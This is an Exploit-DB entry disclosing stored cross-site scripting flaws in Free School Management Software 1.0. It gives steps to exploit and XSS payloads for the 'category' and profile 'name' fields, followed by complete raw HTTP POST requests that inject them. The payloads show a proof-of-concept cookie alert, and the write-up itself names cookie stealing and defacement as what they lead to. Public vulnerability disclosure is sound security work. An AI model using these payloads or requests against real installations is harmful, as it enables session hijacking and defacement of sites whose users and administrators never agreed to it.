Exploit-DB #50586
Description: Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-12-10
Author: fuzzyap1

Exploit:
# Exploit Title: Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
# Exploit Author: fuzzyap1
# Date: 7-12-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip
# Version: 1.0
# Tested on: windows
# Vulnerable page: http://localhost/admin/enquiry_category
# Vulnerable Parameters: "category"

Technical description:
A stored XSS vulnerability exists in the Event management software. An
attacker can leverage this vulnerability in order to run javascript on the
web server surfers behalf, which can lead to cookie stealing, defacement
and more.

Steps to exploit:
1) Navigate to http://localhost/admin/enquiry_category
2) Insert your payload in the "category" parameter
3) Click "save"

Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert(document.cookie)>

---

POST http://localhost/admin/enquiry_category/update/3 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 490
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/enquiry_category
Cookie: CMSSESSID2cb149290396=0bd8mo7gisd21t9pl1ioorhl63;
ci_session=6vl4s7keu1ucpoomv9tj4oe8an7kspa0
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="category"

This is for ID 3 informa222tion"><img src=# onerror=alert(document.cookie)>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="purpose"

Payment
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="whom"

Tutorial
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--

---

Steps to exploit:
1) Navigate to http://localhost/admin/manage_profile
2) Insert your payload in the "anme" parameter
3) Click "save"

Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert('xss')>

---

POST /admin/manage_profile/update HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]979323722
Content-Length: 519
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/manage_profile
Cookie: ci_session=hiibl4e0oidvqier9b8hhfb5c1rl6l16
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]979323722
Content-Disposition: form-data; name="name"

Administrator"><img src=# onerror=alert(document.cookie)>
----------------------------[PII_REDACTED][PII_REDACTED]979323722
Content-Disposition: form-data; name="email"

admin@admin.com
----------------------------[PII_REDACTED][PII_REDACTED]979323722
Content-Disposition: form-data; name="userfile"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]979323722--

---